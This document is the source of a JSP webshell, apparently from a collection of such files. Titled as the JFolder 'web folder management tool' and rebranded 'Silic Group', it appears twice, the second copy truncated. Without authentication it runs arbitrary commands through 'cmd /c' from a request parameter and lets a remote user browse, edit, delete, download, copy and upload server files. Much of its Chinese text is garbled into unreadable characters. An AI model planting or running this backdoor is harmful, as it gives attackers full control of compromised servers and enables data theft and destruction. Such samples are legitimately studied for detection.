if(strAfterComma=="") strAfterComma=".0";
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + "\\" + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");
if((tabID==null) || tabID.equals(""))
{
tabID = "1";
}
if(strDir==null||strDir.length()<1)
{
strDir = request.getRealPath("/");
}
if(strAction!=null && strAction.equals("down"))
{
File f=new File(strPath);
if(f.length()==0)
{
sbDown.append("<22>ļ<EFBFBD><C4BC><EFBFBD>СΪ 0 <20>ֽڣ<D6BD><DAA3>Ͳ<EFBFBD><CDB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˰<EFBFBD>");
}
else
{
response.setHeader("content-type","text/html; charset=ISO-8859-1");
response.setContentType("APPLICATION/OCTET-STREAM");
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
out.clearBuffer();
int i;
while ((i=fileInputStream.read()) != -1)
{
out.write(i);
}
fileInputStream.close();
out.close();
}
}
if(strAction!=null && strAction.equals("del"))
{
File f=new File(strPath);
f.delete();
}
if(strAction!=null && strAction.equals("edit"))
{
File f=new File(strPath);
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
sbEdit.append("<input type=hidden name=action value=save >\r\n");
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> &nbsp;"+strPath+"\r\n");
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
String line="";
while((line=br.readLine())!=null)
{
sbEdit.append(htmlEncode(line)+"\r\n");
}
sbEdit.append("</textarea>");
sbEdit.append("<input type=hidden name=path value="+strDir+">");
sbEdit.append("</form>");
}
if(strAction!=null && strAction.equals("save"))
{
File f=new File(strPath);
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
String strContent=request.getParameter("content");
bw.write(strContent);
bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
File f=new File(strPath);
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
sbCopy.append("ԭʼ<D4AD>ļ<EFBFBD><C4BC><EFBFBD> "+strPath+"<p>");
sbCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> <input type=text name=file2 size=40 value='"+strDir+"'><p>");
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p>&nbsp;\r\n");
sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
File f=new File(strPath);
String strDesFile=request.getParameter("file2");
if(strDesFile==null || strDesFile.equals(""))
{
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
}
else
{
File f_des=new File(strDesFile);
if(f_des.isFile())
{
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC>Ѵ<EFBFBD><D1B4><EFBFBD>,<2C><><EFBFBD>ܸ<EFBFBD><DCB8>ơ<EFBFBD></font>");
}
else
{
String strTmpFile=strDesFile;
if(f_des.isDirectory())
{
if(!strDesFile.endsWith("\\"))
{
strDesFile=strDesFile+"\\";
}
strTmpFile=strDesFile+"cqq_"+strFile;
}
File f_des_copy=new File(strTmpFile);
FileInputStream in1=new FileInputStream(f);
FileOutputStream out1=new FileOutputStream(f_des_copy);
byte[] buffer=new byte[1024];
int c;
while((c=in1.read(buffer))!=-1)
{
out1.write(buffer,0,c);
}
in1.close();
out1.close();
sbSaveCopy.append("ԭʼ<D4AD>ļ<EFBFBD> <20><>"+strPath+"<p>");
sbSaveCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD> <20><>"+strTmpFile+"<p>");
sbSaveCopy.append("<font color=red><3E><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></font>");
}
}
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=<3D><><EFBFBD><EFBFBD>>");
}
if(strAction!=null && strAction.equals("newFile"))
{
String strF=request.getParameter("fileName");
String strType1=request.getParameter("btnNewFile");
String strType2=request.getParameter("btnNewDir");
String strType="";
if(strType1==null)
{
strType="Dir";
}
else if(strType2==null)
{
strType="File";
}
if(!strType.equals("") && !(strF==null || strF.equals("")))
{
File f_new=new File(strF);
if(strType.equals("File") && !f_new.createNewFile())
sbNewFile.append(strF+" <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
if(strType.equals("Dir") && !f_new.mkdirs())
sbNewFile.append(strF+" Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
}
else
{
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
}
}
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
String tempdir=".";
boolean error=false;
response.setContentType("text/html");
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
HttpMultiPartParser parser = new HttpMultiPartParser();
int bstart = request.getContentType().lastIndexOf("oundary=");
String bound = request.getContentType().substring(bstart + 8);
int clength = request.getContentLength();
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
if (ht.get("cqqUploadFile") != null)
{
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
File f1 = fi.file;
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
if (info != null && info.aborted)
{
f1.delete();
request.setAttribute("error", "Upload aborted");
}
else
{
String path = (String) ht.get("path");
if(path!=null && !path.endsWith("\\"))
path = path + "\\";
if (!f1.renameTo(new File(path + f1.getName())))
{
request.setAttribute("error", "Cannot upload file.");
error = true;
f1.delete();
}
}
}
}
%>
<html>
<head>
<style type="text/css">
td,select,input,body{font-size:9pt;}
A { TEXT-DECORATION: none }
#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}
#tablist li{
list-style: none;
display: inline;
margin: 0;
}
#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}
#tablist li a:link, #tablist li a:visited{
color: navy;
}
#tablist li a.current{
background: #EAEAFF;
}
#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}
.tabcontent{
display:none;
}
</style>
<script type="text/javascript">
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
////////Stop editting////////////////
function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}
var previoustab=""
function expandcontent(cid, aobject){
if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
if (aobject.blur)
aobject.blur()
return false
}
else
return true
}
function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks[i].style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}
function collecttablinks(){
var tabobj=document.getElementById("tablist")
tabobjlinks=tabobj.getElementsByTagName("A")
}
function do_onload(){
collecttablinks()
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}
if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.onload=do_onload
</script>
<script language="javascript">
function doForm(action,path,file,cmd,tab,content)
{
document.frmCqq.action.value=action;
document.frmCqq.path.value=path;
document.frmCqq.file.value=file;
document.frmCqq.cmd.value=cmd;
document.frmCqq.tabID.value=tab;
document.frmCqq.content.value=content;
if(action=="del")
{
if(confirm("ȷ<><C8B7>Ҫɾ<D2AA><C9BE><EFBFBD>ļ<EFBFBD> "+file+" <20><><EFBFBD><EFBFBD>"))
document.frmCqq.submit();
}
else
{
document.frmCqq.submit();
}
}
</script>
<title>JFoler 0.9 ---A jsp based web folder management tool by Steven Cee</title>
<head>
<body>
<form name="frmCqq" method="post" action="">
<input type="hidden" name="action" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="file" value="">
<input type="hidden" name="cmd" value="">
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="content" value="">
</form>
<!--Top Menu Started-->
<ul id="tablist">
<li><a href="http://www.smallrain.net" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
&nbsp; <%=authorInfo[languageNo]%>
</ul>
<!--Top Menu End-->
<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
File objFile = new File(strDir);
File list[] = objFile.listFiles();
if(objFile.getAbsolutePath().length()>3)
{
sbFolder.append("<tr><td >&nbsp;</td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
}
for(int i=0;i<list.length;i++)
{
if(list[i].isDirectory())
{
sbFolder.append("<tr><td >&nbsp;</td><td>");
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
}
else
{
String strLen="";
String strDT="";
long lFile=0;
lFile=list[i].length();
strLen = convertFileSize(lFile);
Date dt=new Date(list[i].lastModified());
strDT=dt.toLocaleString();
sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
sbFile.append(""+list[i].getName());
sbFile.append("</td><td>");
sbFile.append(""+strLen);
sbFile.append("</td><td>");
sbFile.append(""+strDT);
sbFile.append("</td><td>");
sbFile.append(" &nbsp;<a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileEdit[languageNo]+"</a> ");
sbFile.append(" &nbsp;<a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileDel[languageNo]+"</a> ");
sbFile.append(" &nbsp;<a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileDown[languageNo]+"</a> ");
sbFile.append(" &nbsp;<a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileCopy[languageNo]+"</a> ");
}
}
}
catch(Exception e)
{
out.println("<font color=red><3E><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD> "+e.toString()+"</font>");
}
%>
<DIV id="tabcontentcontainer">
<div id="menu3" class="tabcontent">
<br>
<br> &nbsp;&nbsp; δ<><CEB4><EFBFBD><EFBFBD>
<br>
<br>&nbsp;
</div>
<div id="menu4" class="tabcontent">
<br>
<p>һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5></p>
<p>&nbsp;&nbsp;&nbsp; jsp <20><EFBFBD><E6B1BE><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5>ļ<EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD><EFBFBD>޸ġ<DEB8></p>
<p>ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>windowsϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E1B9A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ڵĹ<DAB5><C4B9>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һЩ<D2BB><D0A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></p>
<p><3E><>windows<77><73>cmd<6D><64></p>
<p>&nbsp;</p>
<p><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></p>
<p>&nbsp;&nbsp;&nbsp;<b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ù<EFBFBD><C3B9><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD>κ<EFBFBD><CEBA><EFBFBD><EFBFBD><EFBFBD><E2A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߽<EFBFBD><DFBD><EFBFBD><E9B6BC><EFBFBD>Ը<EFBFBD><D4B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԣ<EFBFBD><D4A3>Ա<EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƺ<EFBFBD><C6BA>ȶ<EFBFBD><C8B6><EFBFBD><p>
<EFBFBD><EFBFBD><EFBFBD>Ե<EFBFBD>ַΪ<EFBFBD><EFBFBD><a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b>
<p>&nbsp;</p>
<p><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>¼</p>
<p>&nbsp;&nbsp;&nbsp; 2004.11.15&nbsp; V0.9<EFBFBD><EFBFBD><EFBFBD>԰淢<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һЩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĺ<EFBFBD><EFBFBD>ܣ<EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ơ<EFBFBD>ɾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD><EFBFBD>ϴ<EFBFBD><EFBFBD>Լ<EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>ļ<EFBFBD>Ŀ¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD></p>
<p>&nbsp;&nbsp;&nbsp; 2004.10.27&nbsp; <20><>ʱ<EFBFBD><CAB1>Ϊ0.6<EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD> <20><EFBFBD><E1B9A9>Ŀ¼<C4BF>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> cmd<6D><64><EFBFBD><EFBFBD></p>
<p>&nbsp;&nbsp;&nbsp; 2004.09.20&nbsp; <20><>һ<EFBFBD><D2BB>jsp&nbsp;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򵥵<EFBFBD><F2B5A5B5><EFBFBD>ʾĿ¼<C4BF>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</div>
<div id="menu1" class="tabcontent">
<%
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"<22><> <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
<tr>
<td width="25%" align="center" valign="top">
<table width="98%" border="0" cellspacing="0" cellpadding="3">
<%=sbFolder%>
</tr>
</table>
</td>
<td width="81%" align="left" valign="top">
<%
if(strAction!=null && strAction.equals("edit"))
{
out.println(sbEdit.toString());
}
else if(strAction!=null && strAction.equals("copy"))
{
out.println(sbCopy.toString());
}
else if(strAction!=null && strAction.equals("down"))
{
out.println(sbDown.toString());
}
else if(strAction!=null && strAction.equals("savecopy"))
{
out.println(sbSaveCopy.toString());
}
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
{
out.println(sbNewFile.toString());
}
else
{
%>
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
<tr bgcolor="#E7e7e6">
<td width="26%"><%=strFileName[languageNo]%></td>
<td width="19%"><%=strFileSize[languageNo]%></td>
<td width="29%"><%=strLastModified[languageNo]%></td>
<td width="26%"><%=strFileOperation[languageNo]%></td>
</tr>
<%=sbFile%>
<!-- <tr align="center">
<td colspan="4"><br>
<20>ܼ<EFBFBD><DCBC>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><font color="#FF0000">30</font> <20><><EFBFBD><EFBFBD>С<EFBFBD><D0A1><font color="#FF0000">664.9</font>
KB </td>
</tr>
-->
</table>
</span>
<%
}
%>
</td>
</tr>
<form name="frmMake" action="" method="post">
<tr><td colspan=2 bgcolor=#FBFFC6>
<input type="hidden" name="action" value="newFile">
<input type="hidden" name="path" value="<%=strDir%>">
<input type="hidden" name="file" value="<%=strFile%>">
<input type="hidden" name="cmd" value="<%=strCmd%>">
<input type="hidden" name="tabID" value="1">
<input type="hidden" name="content" value="">
<%
if(!strDir.endsWith("\\"))
strDir = strDir + "\\";
%>
<input type="text" name="fileName" size=36 value="<%=strDir%>">
<input type="submit" name="btnNewFile" value="<22>½<EFBFBD><C2BD>ļ<EFBFBD>" onclick="frmMake.submit()" >
<input type="submit" name="btnNewDir" value="<22>½<EFBFBD>Ŀ¼" onclick="frmMake.submit()" >
</form>
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
<input type="hidden" name="action" value="upload">
<input type="hidden" name="path" value="<%=strDir%>">
<input type="hidden" name="file" value="<%=strFile%>">
<input type="hidden" name="cmd" value="<%=strCmd%>">
<input type="hidden" name="tabID" value="1">
<input type="hidden" name="content" value="">
<input type="file" name="cqqUploadFile" size="36">
<input type="submit" name="submit" value="<22>ϴ<EFBFBD>">
</td></tr></form>
</table>
</div>
<div id="menu2" class="tabcontent">
<%
String line="";
StringBuffer sbCmd=new StringBuffer("");
if(strCmd!=null)
{
try
{
//out.println(strCmd);
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
{
sbCmd.append(line+"\r\n");
}
}
catch(Exception e)
{
System.out.println(e.toString());
}
}
else
{
strCmd = "set";
}
%>
<form name="cmd" action="" method="post">
&nbsp;
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
&nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br>&nbsp;
<%
}
%>
</DIV>
</div>
<br><br>
<center><a href="http://www.topronet.com" target="_blank">www.topronet.com</a> ,All Rights Reserved.
<br>Any question, please email me cqq1978@Gmail.com

844
jsp/silic webshell.jsp Normal file
View File

@@ -0,0 +1,844 @@
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=0;
String strThisFile="JFolder.jsp";
String[] authorInfo={"<font color=red>Silic Group</font>"};
String[] strFileManage = {"<22><> <20><> <20><> <20><>","File Management"};
String[] strCommand = {"CMD <20><> <20><>","Command Window"};
String[] strSysProperty = {"ϵ ͳ <20><> <20><>","System Property"};
String[] strHelp = {"<22><> <20><>","Help"};
String[] strParentFolder = {"<22>ϼ<EFBFBD>Ŀ¼","Parent Folder"};
String[] strCurrentFolder= {"<22><>ǰĿ¼","Current Folder"};
String[] strDrivers = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Drivers"};
String[] strFileName = {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","File Name"};
String[] strFileSize = {"<22>ļ<EFBFBD><C4BC><EFBFBD>С","File Size"};
String[] strLastModified = {"<22><><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>","Last Modified"};
String[] strFileOperation= {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","Operations"};
String[] strFileEdit = {"<22>޸<EFBFBD>","Edit"};
String[] strFileDown = {"<22><><EFBFBD><EFBFBD>","Download"};
String[] strFileCopy = {"<22><><EFBFBD><EFBFBD>","Move"};
String[] strFileDel = {"ɾ<><C9BE>","Delete"};
String[] strExecute = {"ִ<><D6B4>","Execute"};
String[] strBack = {"<22><><EFBFBD><EFBFBD>","Back"};
String[] strFileSave = {"<22><><EFBFBD><EFBFBD>","Save"};
public class FileHandler
{
private String strAction="";
private String strFile="";
void FileHandler(String action,String f)
{
}
}
public static class UploadMonitor {
static Hashtable uploadTable = new Hashtable();
static void set(String fName, UplInfo info) {
uploadTable.put(fName, info);
}
static void remove(String fName) {
uploadTable.remove(fName);
}
static UplInfo getInfo(String fName) {
UplInfo info = (UplInfo) uploadTable.get(fName);
return info;
}
}
public class UplInfo {
public long totalSize;
public long currSize;
public long starttime;
public boolean aborted;
public UplInfo() {
totalSize = 0l;
currSize = 0l;
starttime = System.currentTimeMillis();
aborted = false;
}
public UplInfo(int size) {
totalSize = size;
currSize = 0;
starttime = System.currentTimeMillis();
aborted = false;
}
public String getUprate() {
long time = System.currentTimeMillis() - starttime;
if (time != 0) {
long uprate = currSize * 1000 / time;
return convertFileSize(uprate) + "/s";
}
else return "n/a";
}
public int getPercent() {
if (totalSize == 0) return 0;
else return (int) (currSize * 100 / totalSize);
}
public String getTimeElapsed() {
long time = (System.currentTimeMillis() - starttime) / 1000l;
if (time - 60l >= 0){
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}
public String getTimeEstimated() {
if (currSize == 0) return "n/a";
long time = System.currentTimeMillis() - starttime;
time = totalSize * time / currSize;
time /= 1000l;
if (time - 60l >= 0){
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}
}
public class FileInfo {
public String name = null, clientFileName = null, fileContentType = null;
private byte[] fileContents = null;
public File file = null;
public StringBuffer sb = new StringBuffer(100);
public void setFileContents(byte[] aByteArray) {
fileContents = new byte[aByteArray.length];
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
}
}
public class HttpMultiPartParser {
private final String lineSeparator = System.getProperty("line.separator", "\n");
private final int ONE_MB = 1024 * 1;
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
int clength) throws IllegalArgumentException, IOException {
if (is == null) throw new IllegalArgumentException("InputStream");
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
"\"" + boundary + "\" is an illegal boundary indicator");
boundary = "--" + boundary;
StringTokenizer stLine = null, stFields = null;
FileInfo fileInfo = null;
Hashtable dataTable = new Hashtable(5);
String line = null, field = null, paramName = null;
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
boolean isFile = false;
if (saveFiles) { // Create the required directory (including parent dirs)
File f = new File(saveInDir);
f.mkdirs();
}
line = getLine(is);
if (line == null || !line.startsWith(boundary)) throw new IOException(
"Boundary not found; boundary = " + boundary + ", line = " + line);
while (line != null) {
if (line == null || !line.startsWith(boundary)) return dataTable;
line = getLine(is);
if (line == null) return dataTable;
stLine = new StringTokenizer(line, ";\r\n");
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in second line");
line = stLine.nextToken().toLowerCase();
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
"Bad data in second line");
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in second line");
fileInfo = new FileInfo();
stFields.nextToken();
paramName = stFields.nextToken();
isFile = false;
if (stLine.hasMoreTokens()) {
field = stLine.nextToken();
stFields = new StringTokenizer(field, "=\"");
if (stFields.countTokens() > 1) {
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
fileInfo.name = paramName;
String value = stFields.nextToken();
if (value != null && value.trim().length() > 0) {
fileInfo.clientFileName = value;
isFile = true;
}
else {
line = getLine(is); // Skip "Content-Type:" line
line = getLine(is); // Skip blank line
line = getLine(is); // Skip blank line
line = getLine(is); // Position to boundary line
continue;
}
}
}
else if (field.toLowerCase().indexOf("filename") >= 0) {
line = getLine(is); // Skip "Content-Type:" line
line = getLine(is); // Skip blank line
line = getLine(is); // Skip blank line
line = getLine(is); // Position to boundary line
continue;
}
}
boolean skipBlankLine = true;
if (isFile) {
line = getLine(is);
if (line == null) return dataTable;
if (line.trim().length() < 1) skipBlankLine = false;
else {
stLine = new StringTokenizer(line, ": ");
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in third line");
stLine.nextToken(); // Content-Type
fileInfo.fileContentType = stLine.nextToken();
}
}
if (skipBlankLine) {
line = getLine(is);
if (line == null) return dataTable;
}
if (!isFile) {
line = getLine(is);
if (line == null) return dataTable;
dataTable.put(paramName, line);
// If parameter is dir, change saveInDir to dir
if (paramName.equals("dir")) saveInDir = line;
line = getLine(is);
continue;
}
try {
UplInfo uplInfo = new UplInfo(clength);
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
OutputStream os = null;
String path = null;
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
fileInfo.clientFileName));
else os = new ByteArrayOutputStream(ONE_MB);
boolean readingContent = true;
byte previousLine[] = new byte[2 * ONE_MB];
byte temp[] = null;
byte currentLine[] = new byte[2 * ONE_MB];
int read, read3;
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
line = null;
break;
}
while (readingContent) {
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
line = null;
uplInfo.aborted = true;
break;
}
if (compareBoundary(boundary, currentLine)) {
os.write(previousLine, 0, read - 2);
line = new String(currentLine, 0, read3);
break;
}
else {
os.write(previousLine, 0, read);
uplInfo.currSize += read;
temp = currentLine;
currentLine = previousLine;
previousLine = temp;
read = read3;
}//end else
}//end while
os.flush();
os.close();
if (!saveFiles) {
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
fileInfo.setFileContents(baos.toByteArray());
}
else fileInfo.file = new File(path);
dataTable.put(paramName, fileInfo);
uplInfo.currSize = uplInfo.totalSize;
